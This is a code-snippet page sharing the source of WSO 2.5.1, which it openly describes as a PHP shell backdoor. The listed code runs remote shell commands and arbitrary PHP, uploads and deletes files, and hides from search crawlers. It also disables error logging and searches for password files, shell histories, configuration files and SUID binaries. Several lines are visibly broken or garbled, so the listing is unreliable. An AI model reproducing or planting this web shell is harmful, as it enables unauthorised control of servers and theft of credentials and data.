Posted By

oRb on 04/05/13


Tagged

WSOwso251wso 251webshellwsophpwso25phpwso251php


Versions (?)

WSO 2.5.1


 / Published in: PHP
 

URL: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip

WSO is a PHP shell backdoor that provide an interface for various remote operations. It can perform everything from remote code execution, bruteforcing of servers, provide server information, and more. MD5 | 27cf360acf4c825f9fb9998674ef052f

  1. <?php
  2.  
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7.  
  8. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  9. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  10. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11. header('HTTP/1.0 404 Not Found');
  12. }
  13. }
  14.  
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @define('WSO_VERSION', '2.5.1');
  19.  
  20. function WSOstripslashes($array) {
  21. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  22. }
  23. $_POST = WSOstripslashes($_POST);
  24. $_COOKIE = WSOstripslashes($_COOKIE);
  25. }
  26.  
  27. function wsoLogin() {
  28. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  29. }
  30.  
  31. function WSOsetcookie($k, $v) {
  32. $_COOKIE[$k] = $v;
  33. setcookie($k, $v);
  34. }
  35.  
  36. if(!empty($auth_pass)) {
  37. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  38. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  39.  
  40. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  41. wsoLogin();
  42. }
  43.  
  44. if(strtolower(substr(PHP_OS,0,3)) == "win")
  45. $os = 'win';
  46. else
  47. $os = 'nix';
  48.  
  49. $safe_mode = @ini_get('safe_mode');
  50. if(!$safe_mode)
  51.  
  52. $disable_functions = @ini_get('disable_functions');
  53. $home_cwd = @getcwd();
  54. if(isset($_POST['c']))
  55. @chdir($_POST['c']);
  56. $cwd = @getcwd();
  57. if($os == 'win') {
  58. $home_cwd = str_replace("\\", "/", $home_cwd);
  59. $cwd = str_replace("\\", "/", $cwd);
  60. }
  61. if($cwd[strlen($cwd)-1] != '/')
  62. $cwd .= '/';
  63.  
  64. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  65. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  66.  
  67. if($os == 'win')
  68. $aliases = array(
  69. "List Directory" => "dir",
  70. "Find index.php in current dir" => "dir /s /w /b index.php",
  71. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  72. "Show active connections" => "netstat -an",
  73. "Show running services" => "net start",
  74. "User accounts" => "net user",
  75. "Show computers" => "net view",
  76. "ARP Table" => "arp -a",
  77. "IP Configuration" => "ipconfig /all"
  78. );
  79. else
  80. $aliases = array(
  81. "List dir" => "ls -lha",
  82. "list file attributes on a Linux second extended file system" => "lsattr -va",
  83. "show opened ports" => "netstat -an | grep -i listen",
  84. "process status" => "ps aux",
  85. "Find" => "",
  86. "find all suid" => "find / -type f -perm -04000 -ls",
  87. "find suid in current dir" => "find . -type f -perm -04000 -ls",
  88. "find all sgid" => "find / -type f -perm -02000 -ls",
  89. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  90. "find config.inc.php" => "find / -type f -name config.inc.php",
  91. "find config*" => "find / -type f -name \"config*\"",
  92. "find config* in current dir" => "find . -type f -name \"config*\"",
  93. "find all writable folders and files" => "find / -perm -2 -ls",
  94. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  95. "find all service.pwd" => "find / -type f -name service.pwd",
  96. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  97. "find all .htpasswd" => "find / -type f -name .htpasswd",
  98. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  99. "find all .bash_history" => "find / -type f -name .bash_history",
  100. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  101. "find all .fetchmailrc" => "find / -type f -name .fetchmailrc",
  102. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  103. "Locate" => "",
  104. "locate httpd.conf" => "locate httpd.conf",
  105. "locate vhosts.conf" => "locate vhosts.conf",
  106. "locate proftpd.conf" => "locate proftpd.conf",
  107. "locate psybnc.conf" => "locate psybnc.conf",
  108. "locate my.conf" => "locate my.conf",
  109. "locate admin.php" =>"locate admin.php",
  110. "locate cfg.php" => "locate cfg.php",
  111. "locate conf.php" => "locate conf.php",
  112. "locate config.dat" => "locate config.dat",
  113. "locate config.php" => "locate config.php",
  114. "locate config.inc" => "locate config.inc",
  115. "locate config.inc.php" => "locate config.inc.php",
  116. "locate config.default.php" => "locate config.default.php",
  117. "locate config*" => "locate config",
  118. "locate .conf"=>"locate '.conf'",
  119. "locate .pwd" => "locate '.pwd'",
  120. "locate .sql" => "locate '.sql'",
  121. "locate .htpasswd" => "locate '.htpasswd'",
  122. "locate .bash_history" => "locate '.bash_history'",
  123. "locate .mysql_history" => "locate '.mysql_history'",
  124. "locate .fetchmailrc" => "locate '.fetchmailrc'",
  125. "locate backup" => "locate backup",
  126. "locate dump" => "locate dump",
  127. "locate priv" => "locate priv"
  128. );
  129.  
  130. function wsoHeader() {
  131. if(empty($_POST['charset']))
  132. $_POST['charset'] = $GLOBALS['default_charset'];
  133. global $color;
  134. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  135. <style>
  136. body{background-color:#444;color:#e1e1e1;}
  137. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  138. table.info{ color:#fff;background-color:#222; }
  139. span,h1,a{ color: $color !important; }
  140. span{ font-weight: bolder; }
  141. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  142. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  143. a{ text-decoration:none; }
  144. a:hover{ text-decoration:underline; }
  145. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  146. .bigarea{ width:100%;height:300px; }
  147. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  148. form{ margin:0px; }
  149. #toolsTbl{ text-align:center; }
  150. .toolsInp{ width: 300px }
  151. .main th{text-align:left;background-color:#5e5e5e;}
  152. .main tr:hover{background-color:#5e5e5e}
  153. .l1{background-color:#444}
  154. .l2{background-color:#333}
  155. pre{font-family:Courier,Monospace;}
  156. </style>
  157. <script>
  158. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  159. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  160. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  161. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  162. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  163. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  164. var d = document;
  165. function set(a,c,p1,p2,p3,charset) {
  166. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  167. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  168. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  169. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  170. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  171. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  172. }
  173. function g(a,c,p1,p2,p3,charset) {
  174. set(a,c,p1,p2,p3,charset);
  175. d.mf.submit();
  176. }
  177. function a(a,c,p1,p2,p3,charset) {
  178. set(a,c,p1,p2,p3,charset);
  179. var params = 'ajax=true';
  180. for(i=0;i<d.mf.elements.length;i++)
  181. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  182. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  183. }
  184. function sr(url, params) {
  185. if (window.XMLHttpRequest)
  186. req = new XMLHttpRequest();
  187. else if (window.ActiveXObject)
  188. req = new ActiveXObject('Microsoft.XMLHTTP');
  189. if (req) {
  190. req.onreadystatechange = processReqChange;
  191. req.open('POST', url, true);
  192. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  193. req.send(params);
  194. }
  195. }
  196. function processReqChange() {
  197. if( (req.readyState == 4) )
  198. if(req.status == 200) {
  199. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  200. var arr=reg.exec(req.responseText);
  201. eval(arr[2].substr(0, arr[1]));
  202. } else alert('Request error!');
  203. }
  204. </script>
  205. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  206. <form method=post name=mf style='display:none;'>
  207. <input type=hidden name=a>
  208. <input type=hidden name=c>
  209. <input type=hidden name=p1>
  210. <input type=hidden name=p2>
  211. <input type=hidden name=p3>
  212. <input type=hidden name=charset>
  213. </form>";
  214. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  215. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  216. $totalSpace = $totalSpace?$totalSpace:1;
  217. $release = @php_uname('r');
  218. $kernel = @php_uname('s');
  219. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  220. if(strpos('Linux', $kernel) !== false)
  221. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  222. else
  223. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  224. if(!function_exists('posix_getegid')) {
  225. $user = @get_current_user();
  226. $uid = @getmyuid();
  227. $gid = @getmygid();
  228. $group = "?";
  229. } else {
  230. $user = $uid['name'];
  231. $uid = $uid['uid'];
  232. $group = $gid['name'];
  233. $gid = $gid['gid'];
  234. }
  235.  
  236. $cwd_links = '';
  237. $path = explode("/", $GLOBALS['cwd']);
  238. $n=count($path);
  239. for($i=0; $i<$n-1; $i++) {
  240. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  241. for($j=0; $j<=$i; $j++)
  242. $cwd_links .= $path[$j].'/';
  243. $cwd_links .= "\")'>".$path[$i]."/</a>";
  244. }
  245.  
  246. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  247. $opt_charsets = '';
  248. foreach($charsets as $item)
  249. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  250.  
  251. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  252. if(!empty($GLOBALS['auth_pass']))
  253. $m['Logout'] = 'Logout';
  254. $m['Self remove'] = 'SelfRemove';
  255. $menu = '';
  256. foreach($m as $k => $v)
  257. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  258.  
  259. $drives = "";
  260. if($GLOBALS['os'] == 'win') {
  261. foreach(range('c','z') as $drive)
  262. if(is_dir($drive.':\\'))
  263. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  264. }
  265. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  266. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  267. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  268. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  269. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  270. }
  271.  
  272. function wsoFooter() {
  273. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  274. echo "
  275. </div>
  276. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  277. <tr>
  278. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  279. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  280. </tr><tr>
  281. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  282. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  283. </tr><tr>
  284. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  285. <td><form method='post' ENCTYPE='multipart/form-data'>
  286. <input type=hidden name=a value='FilesMAn'>
  287. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  288. <input type=hidden name=p1 value='uploadFile'>
  289. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  290. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  291. </tr></table></div></body></html>";
  292. }
  293.  
  294. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  295. function posix_getpwuid($p) {return false;} }
  296. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  297. function posix_getgrgid($p) {return false;} }
  298.  
  299. function wsoEx($in) {
  300. $out = '';
  301. if (function_exists('exec')) {
  302. @exec($in,$out);
  303. $out = @join("\n",$out);
  304. } elseif (function_exists('passthru')) {
  305. @passthru($in);
  306. $out = ob_get_clean();
  307. } elseif (function_exists('system')) {
  308. @system($in);
  309. $out = ob_get_clean();
  310. } elseif (function_exists('shell_exec')) {
  311. $out = shell_exec($in);
  312. } elseif (is_resource($f = @popen($in,"r"))) {
  313. $out = "";
  314. $out .= fread($f,1024);
  315. pclose($f);
  316. }
  317. return $out;
  318. }
  319.  
  320. function wsoViewSize($s) {
  321. if (is_int($s))
  322. $s = sprintf("%u", $s);
  323.  
  324. if($s >= 1073741824)
  325. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  326. elseif($s >= 1048576)
  327. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  328. elseif($s >= 1024)
  329. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  330. else
  331. return $s . ' B';
  332. }
  333.  
  334. function wsoPerms($p) {
  335. if (($p & 0xC000) == 0xC000)$i = 's';
  336. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  337. elseif (($p & 0x8000) == 0x8000)$i = '-';
  338. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  339. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  340. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  341. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  342. else $i = 'u';
  343. $i .= (($p & 0x0100) ? 'r' : '-');
  344. $i .= (($p & 0x0080) ? 'w' : '-');
  345. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  346. $i .= (($p & 0x0020) ? 'r' : '-');
  347. $i .= (($p & 0x0010) ? 'w' : '-');
  348. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  349. $i .= (($p & 0x0004) ? 'r' : '-');
  350. $i .= (($p & 0x0002) ? 'w' : '-');
  351. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  352. return $i;
  353. }
  354.  
  355. function wsoPermsColor($f) {
  356. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  357. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  358. else
  359. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  360. }
  361.  
  362. function wsoScandir($dir) {
  363. if(function_exists("scandir")) {
  364. return scandir($dir);
  365. } else {
  366. $dh = opendir($dir);
  367. while (false !== ($filename = readdir($dh)))
  368. $files[] = $filename;
  369. return $files;
  370. }
  371. }
  372.  
  373. function wsoWhich($p) {
  374. $path = wsoEx('which ' . $p);
  375. if(!empty($path))
  376. return $path;
  377. return false;
  378. }
  379.  
  380. function actionSecInfo() {
  381. wsoHeader();
  382. echo '<h1>Server security information</h1><div class=content>';
  383. function wsoSecParam($n, $v) {
  384. $v = trim($v);
  385. if($v) {
  386. echo '<span>' . $n . ': </span>';
  387. if(strpos($v, "\n") === false)
  388. echo $v . '<br>';
  389. else
  390. echo '<pre class=ml1>' . $v . '</pre>';
  391. }
  392. }
  393.  
  394. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  395. if(function_exists('apache_get_modules'))
  396. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  397. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  398. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  399. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  400. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  401. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  402. $temp=array();
  403. if(function_exists('mysql_get_client_info'))
  404. $temp[] = "MySql (".mysql_get_client_info().")";
  405. if(function_exists('mssql_connect'))
  406. $temp[] = "MSSQL";
  407. if(function_exists('pg_connect'))
  408. $temp[] = "PostgreSQL";
  409. if(function_exists('oci_connect'))
  410. $temp[] = "Oracle";
  411. wsoSecParam('Supported databases', implode(', ', $temp));
  412. echo '<br>';
  413.  
  414. if($GLOBALS['os'] == 'nix') {
  415. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  416. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  417. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  418. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  419. if(!$GLOBALS['safe_mode']) {
  420. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  421. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  422. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  423. echo '<br>';
  424. $temp=array();
  425. foreach ($userful as $item)
  426. if(wsoWhich($item))
  427. $temp[] = $item;
  428. wsoSecParam('Userful', implode(', ',$temp));
  429. $temp=array();
  430. foreach ($danger as $item)
  431. if(wsoWhich($item))
  432. $temp[] = $item;
  433. wsoSecParam('Danger', implode(', ',$temp));
  434. $temp=array();
  435. foreach ($downloaders as $item)
  436. if(wsoWhich($item))
  437. $temp[] = $item;
  438. wsoSecParam('Downloaders', implode(', ',$temp));
  439. echo '<br/>';
  440. wsoSecParam('HDD space', wsoEx('df -h'));
  441. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  442. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  443. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  444. $temp = "";
  445. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  446. $uid = @posix_getpwuid($_POST['p2']);
  447. if ($uid)
  448. $temp .= join(':',$uid)."\n";
  449. }
  450. echo '<br/>';
  451. wsoSecParam('Users', $temp);
  452. }
  453. }
  454. } else {
  455. wsoSecParam('OS Version',wsoEx('ver'));
  456. wsoSecParam('Account Settings',wsoEx('net accounts'));
  457. wsoSecParam('User Accounts',wsoEx('net user'));
  458. }
  459. echo '</div>';
  460. wsoFooter();
  461. }
  462.  
  463. function actionPhp() {
  464. if(isset($_POST['ajax'])) {
  465. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  466. eval($_POST['p1']);
  467. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  468. echo strlen($temp), "\n", $temp;
  469. }
  470. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  471. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  472.  
  473. wsoHeader();
  474. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  475. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  476. $tmp = ob_get_clean();
  477. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  478. '!td, th {(.*)}!msiU',
  479. '!<img[^>]+>!msiU',
  480. ), array (
  481. '',
  482. '.e, .v, .h, .h th {$1}',
  483. ''
  484. ), $tmp);
  485. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  486. }
  487. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  488. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  489. if(!empty($_POST['p1'])) {
  490. eval($_POST['p1']);
  491. }
  492. echo '</pre></div>';
  493. wsoFooter();
  494. }
  495.  
  496. function actionFilesMan() {
  497. if (!empty ($_COOKIE['f']))
  498. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  499.  
  500. if(!empty($_POST['p1'])) {
  501. switch($_POST['p1']) {
  502. case 'uploadFile':
  503. if([email protected]move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  504. echo "Can't upload!";
  505. break;
  506. case 'mkdir':
  507. if([email protected]mkdir($_POST['p2']))
  508. echo "Can't create!";
  509. break;
  510. case 'delete':
  511. function deleteDir($path) {
  512. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  513. $dh = opendir($path);
  514. while ( ($item = readdir($dh) ) !== false) {
  515. $item = $path.$item;
  516. if ( (basename($item) == "..") || (basename($item) == ".") )
  517. continue;
  518. $type = filetype($item);
  519. if ($type == "dir")
  520. deleteDir($item);
  521. else
  522. @unlink($item);
  523. }
  524. closedir($dh);
  525. @rmdir($path);
  526. }
  527. if(is_array(@$_POST['f']))
  528. foreach($_POST['f'] as $f) {
  529. if($f == '..')
  530. continue;
  531. $f = urldecode($f);
  532. if(is_dir($f))
  533. deleteDir($f);
  534. else
  535. @unlink($f);
  536. }
  537. break;
  538. case 'paste':
  539. if($_COOKIE['act'] == 'copy') {
  540. function copy_paste($c,$s,$d){
  541. if(is_dir($c.$s)){
  542. mkdir($d.$s);
  543. $h = @opendir($c.$s);
  544. while (($f = @readdir($h)) !== false)
  545. if (($f != ".") and ($f != ".."))
  546. copy_paste($c.$s.'/',$f, $d.$s.'/');
  547. } elseif(is_file($c.$s))
  548. @copy($c.$s, $d.$s);
  549. }
  550. foreach($_COOKIE['f'] as $f)
  551. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  552. } elseif($_COOKIE['act'] == 'move') {
  553. function move_paste($c,$s,$d){
  554. if(is_dir($c.$s)){
  555. mkdir($d.$s);
  556. $h = @opendir($c.$s);
  557. while (($f = @readdir($h)) !== false)
  558. if (($f != ".") and ($f != ".."))
  559. copy_paste($c.$s.'/',$f, $d.$s.'/');
  560. } elseif(@is_file($c.$s))
  561. @copy($c.$s, $d.$s);
  562. }
  563. foreach($_COOKIE['f'] as $f)
  564. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  565. } elseif($_COOKIE['act'] == 'zip') {
  566. if(class_exists('ZipArchive')) {
  567. $zip = new ZipArchive();
  568. if ($zip->open($_POST['p2'], 1)) {
  569. chdir($_COOKIE['c']);
  570. foreach($_COOKIE['f'] as $f) {
  571. if($f == '..')
  572. continue;
  573. if(@is_file($_COOKIE['c'].$f))
  574. $zip->addFile($_COOKIE['c'].$f, $f);
  575. elseif(@is_dir($_COOKIE['c'].$f)) {
  576. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  577. foreach ($iterator as $key=>$value) {
  578. $zip->addFile(realpath($key), $key);
  579. }
  580. }
  581. }
  582. chdir($GLOBALS['cwd']);
  583. $zip->close();
  584. }
  585. }
  586. } elseif($_COOKIE['act'] == 'unzip') {
  587. if(class_exists('ZipArchive')) {
  588. $zip = new ZipArchive();
  589. foreach($_COOKIE['f'] as $f) {
  590. if($zip->open($_COOKIE['c'].$f)) {
  591. $zip->extractTo($GLOBALS['cwd']);
  592. $zip->close();
  593. }
  594. }
  595. }
  596. } elseif($_COOKIE['act'] == 'tar') {
  597. chdir($_COOKIE['c']);
  598. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  599. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  600. chdir($GLOBALS['cwd']);
  601. }
  602. unset($_COOKIE['f']);
  603. setcookie('f', '', time() - 3600);
  604. break;
  605. default:
  606. if(!empty($_POST['p1'])) {
  607. WSOsetcookie('act', $_POST['p1']);
  608. WSOsetcookie('f', serialize(@$_POST['f']));
  609. WSOsetcookie('c', @$_POST['c']);
  610. }
  611. break;
  612. }
  613. }
  614. wsoHeader();
  615. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  616. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  617. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  618. global $sort;
  619. $sort = array('name', 1);
  620. if(!empty($_POST['p1'])) {
  621. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  622. $sort = array($match[1], (int)$match[2]);
  623. }
  624. echo "<script>
  625. function sa() {
  626. for(i=0;i<d.files.elements.length;i++)
  627. if(d.files.elements[i].type == 'checkbox')
  628. d.files.elements[i].checked = d.files.elements[0].checked;
  629. }
  630. </script>
  631. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  632. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
